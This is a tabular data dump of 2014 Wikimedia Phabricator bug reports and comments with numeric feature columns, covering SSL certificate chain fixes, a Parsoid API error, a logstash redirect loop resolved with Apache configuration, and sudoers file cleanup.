288889,Remove remnant /data/project/.system/sudoers and /etc/sudoers.d/tools-login,Deleted /data/project/.system/sudoers; all entries also in LDAP.,,,1392068793,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-6xfof7ovcgpqpol3ut2y,task_subcomment,,True,c3,1,True,,,-73,True,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.461538461538462,0.9230769230769231,Deleted /data/project/.system/sudoers; all entries also in LDAP.
62865,SSL-Error for https at ganglia.wmflabs.org (ssl_error_rx_record_too_long),"Unable to connect via https to https://ganglia.wmflabs.org/ with Firefox
and Chrome.

Firefox gives the error message: ssl_error_rx_record_too_long

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=57371",Needs Triage,90.0,1391593500,1396637077.0,PHID-USER-jcypqodpdpbcicgwgh7j,False,,False,PHID-TASK-f7idbwtrhabqzfbmmjxe,task_description,resolved,True,c3,1,True,False,True,-74,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,20.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.020408163265306,0.5510204081632653,"Unable to connect via https to URL with Firefox
and Chrome.

Firefox gives the error message: ssl_error_rx_record_too_long

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
285419,SSL-Error for https at ganglia.wmflabs.org (ssl_error_rx_record_too_long),seems gone (after migration to eqiad),,,1396637077,,PHID-USER-jcypqodpdpbcicgwgh7j,False,,,PHID-TASK-f7idbwtrhabqzfbmmjxe,task_subcomment,,True,c3,1,True,,,-65,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,seems gone (after migration to eqiad)
62833,serve a cert chain with dynamic proxy SSL certificate,"**Author:** `daniel`

**Description:**
While Bug#52630 was fixed and 
http://www.sslshopper.com/ssl-checker.html#hostname=tools.wmflabs.org
has an all green result

http://www.sslshopper.com/ssl-checker.html#hostname=fastcci1.wmflabs.org
gives a warning (""The certificate is not trusted in all web browsers."")

The latter goes through a different server (the Instance Proxy).

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1391530320,1398537120.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-5cm6s6difntvk2kme3nb,task_description,resolved,True,c3,1,False,False,True,-74,True,3.0,0.0,0.0,3.0,1.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,17.0,1.0,1.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.5641025641025643,0.6025641025641025,"**Author:** CODE

**Description:**
While Bug#52630 was fixed and 
URL
has an all green result

URL
gives a warning (""The certificate is not trusted in all web browsers."")

The latter goes through a different server (the Instance Proxy).

--------------------------
**Version**: unspecified
**Severity**: normal"
283879,serve a cert chain with dynamic proxy SSL certificate,"Firefox isn't showing it as invalid now with a fresh profile, and http://www.sslshopper.com/ssl-checker.html#hostname=fastcci1.wmflabs.org is showing all green.",,,1398537120,,PHID-USER-7ggbl2sm3bxckkmp6uw3,False,,,PHID-TASK-5cm6s6difntvk2kme3nb,task_subcomment,,True,c3,1,False,,,-62,True,5.0,0.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,10.0,10.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,3.75,0.9,"Firefox isn't showing it as invalid now with a fresh profile, and URL is showing all green."
283875,serve a cert chain with dynamic proxy SSL certificate,can you try again and report results please?,,,1397643704,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-5cm6s6difntvk2kme3nb,task_subcomment,,True,c3,1,True,,,-64,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.111111111111111,1.0,can you try again and report results please?
283871,serve a cert chain with dynamic proxy SSL certificate,https://gerrit.wikimedia.org/r/#/c/126008/1,,,1397643668,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-5cm6s6difntvk2kme3nb,task_subcomment,,True,c3,1,True,,,-64,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
283867,serve a cert chain with dynamic proxy SSL certificate,"Change 111386 merged by Andrew Bogott:
star.wmflabs.org: fix intermediate CA

https://gerrit.wikimedia.org/r/111386",,,1397576614,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5cm6s6difntvk2kme3nb,task_subcomment,,True,c3,1,False,,,-64,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.333333333333333,0.9333333333333333,"Change 111386 merged by Andrew Bogott:
star.wmflabs.org: fix intermediate CA

GERRIT_URL"
283860,serve a cert chain with dynamic proxy SSL certificate,"I've noticed that in Firefox with a fresh profile this will lead to users getting the scary looking ""This connection is untrusted"" message. For something like accounts.wmflabs.org that routinely deals with new users to the project who may not be very tech savvy, this could be a problem.",,,1396187815,,PHID-USER-7ggbl2sm3bxckkmp6uw3,False,,,PHID-TASK-5cm6s6difntvk2kme3nb,task_subcomment,,True,c3,1,False,,,-66,True,0.0,2.0,2.0,0.0,2.0,11.0,6.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,17.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,11.0,4.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,6.0,7.0,4.0,0.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,17.0,4.0,0.0,4.0,0.0,2.0,0.0,2.0,4.0,0.0,4.0,0.0,0.0,0.0,4.444444444444445,0.8148148148148148,"I've noticed that in Firefox with a fresh profile this will lead to users getting the scary looking ""This connection is untrusted"" message. For something like accounts.wmflabs.org that routinely deals with new users to the project who may not be very tech savvy, this could be a problem."
283852,serve a cert chain with dynamic proxy SSL certificate,"Close, but no cigar.  While using .chained.pem in the Nginx configuration is apparently The Right Thing(TM), the problem lies deeper: manifests/certs.pp's install_certificate creates the chained certificate for star.wmflabs.org with wmf-labs.pem, while the certificate is actually signed by RapidSSL_CA.pem.  The patch by jeremyb should fix this.",,,1391561668,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-5cm6s6difntvk2kme3nb,task_subcomment,,True,c3,1,True,,,-74,True,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,12.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,14.0,3.0,2.0,14.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,12.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,5.206896551724138,0.7931034482758621,"Close, but no cigar.  While using .chained.pem in the Nginx configuration is apparently The Right Thing(TM), the problem lies deeper: manifests/certs.pp's install_certificate creates the chained certificate for star.wmflabs.org with wmf-labs.pem, while the certificate is actually signed by RapidSSL_CA.pem.  The patch by jeremyb should fix this."
283845,serve a cert chain with dynamic proxy SSL certificate,"Change 111386 had a related patch set uploaded by Jeremyb:
Dynamic proxy: Serve SSL certificate chain. v2

https://gerrit.wikimedia.org/r/111386",,,1391560893,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5cm6s6difntvk2kme3nb,task_subcomment,,True,c3,1,False,,,-74,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,26.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.434782608695652,0.9565217391304348,"Change 111386 had a related patch set uploaded by Jeremyb:
Dynamic proxy: Serve SSL certificate chain. v2

GERRIT_URL"
283840,serve a cert chain with dynamic proxy SSL certificate,"Change 111342 merged by coren:
Dynamic proxy: Serve SSL certificate chain

https://gerrit.wikimedia.org/r/111342",,,1391558389,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5cm6s6difntvk2kme3nb,task_subcomment,,True,c3,1,False,,,-74,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.75,0.9375,"Change 111342 merged by coren:
Dynamic proxy: Serve SSL certificate chain

GERRIT_URL"
283836,serve a cert chain with dynamic proxy SSL certificate,"Change 111342 had a related patch set uploaded by Tim Landscheidt:
Dynamic proxy: Serve SSL certificate chain

https://gerrit.wikimedia.org/r/111342",,,1391551491,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5cm6s6difntvk2kme3nb,task_subcomment,,True,c3,1,False,,,-74,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,32.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.818181818181818,0.9545454545454546,"Change 111342 had a related patch set uploaded by Tim Landscheidt:
Dynamic proxy: Serve SSL certificate chain

GERRIT_URL"
283831,serve a cert chain with dynamic proxy SSL certificate,"It is the dynamic proxy, which uses the star.wmflabs.org certificate, which I presume needs to be fixed.",,,1391548489,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-5cm6s6difntvk2kme3nb,task_subcomment,,True,c3,1,True,,,-74,True,0.0,0.0,0.0,5.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,5.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4,0.85,"It is the dynamic proxy, which uses the star.wmflabs.org certificate, which I presume needs to be fixed."
62755,parsoidserver-http-bad-status,"http://en.m.wikipedia.beta.wmflabs.org/w/api.php?format=json&action=visualeditor&paction=parse&page=Selenium_Edit_Test

Any idea why this request ends up with the response:
{""servedby"":""deployment-apache32"",""error"":{""code"":""parsoidserver-http-bad-status"",""info"":""404""}}

It prevents VisualEditor from loading on mobile...

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1391408100,1391651487.0,PHID-USER-5dwuaigmkz2vzg65lape,False,,False,PHID-TASK-btmvpbqnfpj57y5y72ua,task_description,declined,True,c3,1,True,False,True,-74,True,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,11.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,9.0,2.0,0.0,4.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.781818181818182,0.6727272727272727,"URL

Any idea why this request ends up with the response:
{""servedby"":""deployment-apache32"",""error"":{""code"":""parsoidserver-http-bad-status"",""info"":""404""}}

It prevents VisualEditor from loading on mobile...

--------------------------
**Version**: unspecified
**Severity**: normal"
292824,parsoidserver-http-bad-status,"I'm closing this bug as worksforme, as the underlying API outage has since been fixed. Bug 58390 tracks the error code issue.",,,1391651487,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-btmvpbqnfpj57y5y72ua,task_subcomment,,True,c3,1,True,,,-73,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,12.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,12.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.8846153846153846,"I'm closing this bug as worksforme, as the underlying API outage has since been fixed. Bug 58390 tracks the error code issue."
292819,parsoidserver-http-bad-status,"The API issues were probably the internal LVS failure today, caused by a networking configuration error. See Mark's mail titled ""Outage report: LVS outage February 3, 2013"" on the ops list.",,,1391463920,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-btmvpbqnfpj57y5y72ua,task_subcomment,,True,c3,1,True,,,-74,True,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,21.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.076923076923077,0.8717948717948718,"The API issues were probably the internal LVS failure today, caused by a networking configuration error. See Mark's mail titled ""Outage report: LVS outage February 3, 2013"" on the ops list."
292811,parsoidserver-http-bad-status,"This page loads for me: http://parsoid-lb.eqiad.wikimedia.org/itwiki/Utente%3ABaruneju%2Fsandbox2?oldid=63854985

Sometimes issues in the MW API are misreported as 404s on our end, so maybe this was a transient API failure. The misleading error reporting is tracked in bug 58390.",,,1391455828,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-btmvpbqnfpj57y5y72ua,task_subcomment,,True,c3,1,True,,,-74,True,0.0,0.0,0.0,5.0,0.0,5.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,7.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,17.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,12.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,3.902439024390244,0.926829268292683,"This page loads for me: URL

Sometimes issues in the MW API are misreported as 404s on our end, so maybe this was a transient API failure. The misleading error reporting is tracked in bug 58390."
292805,parsoidserver-http-bad-status,"The problem is not limited to the mobile version, it also happens on the Web using both Firefox and Chrome, both Monobook and Vector.
Example response: (on it.wiki user sandbox, but it also applies to en.wiki NS:0)

{""servedby"":""mw1121"",""error"":{""code"":""parsoidserver-http-timed-out"",""info"":""http://10.2.2.29/itwiki/Utente%3ABaruneju%2Fsandbox2?oldid=63854985""}}",,,1391427708,,PHID-USER-w7kicrzlpwfrteo6zs5p,False,,,PHID-TASK-btmvpbqnfpj57y5y72ua,task_subcomment,,True,c3,1,False,,,-74,True,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,15.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,7.0,13.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.7272727272727275,0.8,"The problem is not limited to the mobile version, it also happens on the Web using both Firefox and Chrome, both Monobook and Vector.
Example response: (on it.wiki user sandbox, but it also applies to en.wiki NS:0)

{""servedby"":""mw1121"",""error"":{""code"":""parsoidserver-http-timed-out"",""info"":""URL"
62488,Redirect loop accessing the non-SSL root URL for logstash.wikimedia.org,"Several users have reported seeing a redirect loop error page when attempting to access http://logstash.wikimedia.org. Using the https protocol seems to correct the issue.

I have personally not been able to recreate the redirect loop in my browser, but I can recreate it using curl from the command line:

    curl -v -L http://logstash.wikimedia.org

Expected:
* GET / HTTP/1.1
* 301 Moved Permanently; Location: https://logstash.wikimedia.org/
* GET / HTTP/1.1
* 401 Authorization Required

Got:
* GET / HTTP/1.1
* 301 Moved Permanently; Location: https://logstash.wikimedia.org/
* GET / HTTP/1.1
* 301 Moved Permanently; Location: https://logstash.wikimedia.org/
* ...


Behavior seems to be intermittent. During testing to file this bug I could recreate the looping behavior for several requests in a row followed by several proper redirects followed again by several redirect loops. This seems to indicate that a single node in a load balanced cluster is misbehaving.

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Needs Triage,90.0,1390849860,1391104046.0,PHID-USER-ll6tmaogat2b5q7tnqas,False,,False,PHID-TASK-z3q3tkdnbphobfl2fusu,task_description,resolved,True,c3,1,True,False,True,-75,True,2.0,0.0,0.0,0.0,0.5,6.5,1.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,2.0,0.5,3.5,7.5,0.0,3.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.5,3.5,1.5,0.5,0.5,0.0,1.5,0.0,0.0,3.0,0.0,0.0,0.5,3.0,0.0,1.5,0.0,0.0,0.5,15.5,0.5,0.5,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,4.5,1.5,18.5,1.0,0.5,5.5,0.0,0.0,0.0,0.0,5.0,0.0,2.5,0.0,2.5,7.5,7.5,0.0,0.0,0.0,2.5,0.0,0.5,2.0,0.0,2.5,0.0,0.0,0.0,4.072916666666666,0.640625,"Several users have reported seeing a redirect loop error page when attempting to access URL Using the https protocol seems to correct the issue.

I have personally not been able to recreate the redirect loop in my browser, but I can recreate it using curl from the command line:

    curl -v -L URL

Expected:
* GET / HTTP/1.1
* 301 Moved Permanently; Location: URL
* GET / HTTP/1.1
* 401 Authorization Required

Got:
* GET / HTTP/1.1
* 301 Moved Permanently; Location: URL
* GET / HTTP/1.1
* 301 Moved Permanently; Location: URL
* ...


Behavior seems to be intermittent. During testing to file this bug I could recreate the looping behavior for several requests in a row followed by several proper redirects followed again by several redirect loops. This seems to indicate that a single node in a load balanced cluster is misbehaving.

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
293842,Redirect loop accessing the non-SSL root URL for logstash.wikimedia.org,"Ori fixed this with a cool bit of Apache config:

  RewriteRule ^/(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [R=301,E=ProtoRedirect]
  Header always merge Vary X-Forwarded-Proto env=ProtoRedirect

This works around an annoying bit of esoteric Apache internals where headers are stripped during redirect generation and have to be reapplied later. See http://stackoverflow.com/a/3711110/8171 for a description of the underlying ""feature"" that is being addressed.",,,1391104046,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-z3q3tkdnbphobfl2fusu,task_subcomment,,True,c3,1,True,,,-74,True,0.0,0.0,0.0,5.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,5.0,22.0,1.0,1.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,14.0,0.0,3.0,0.0,0.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,3.0,4.581081081081081,0.8513513513513513,"Ori fixed this with a cool bit of Apache config:

  RewriteRule ^/(.*)$ URL [R=301,E=ProtoRedirect]
  Header always merge Vary X-Forwarded-Proto env=ProtoRedirect

This works around an annoying bit of esoteric Apache internals where headers are stripped during redirect generation and have to be reapplied later. See URL for a description of the underlying ""feature"" that is being addressed."
293837,Redirect loop accessing the non-SSL root URL for logstash.wikimedia.org,"Change 110393 abandoned by BryanDavis:
varnish: Add X-Forwarded-Proto to Vary on redirects

Reason:
Ori's workaround in Id2cc29f911fa36805320cdb606a5da1226c9d230 is less yucky

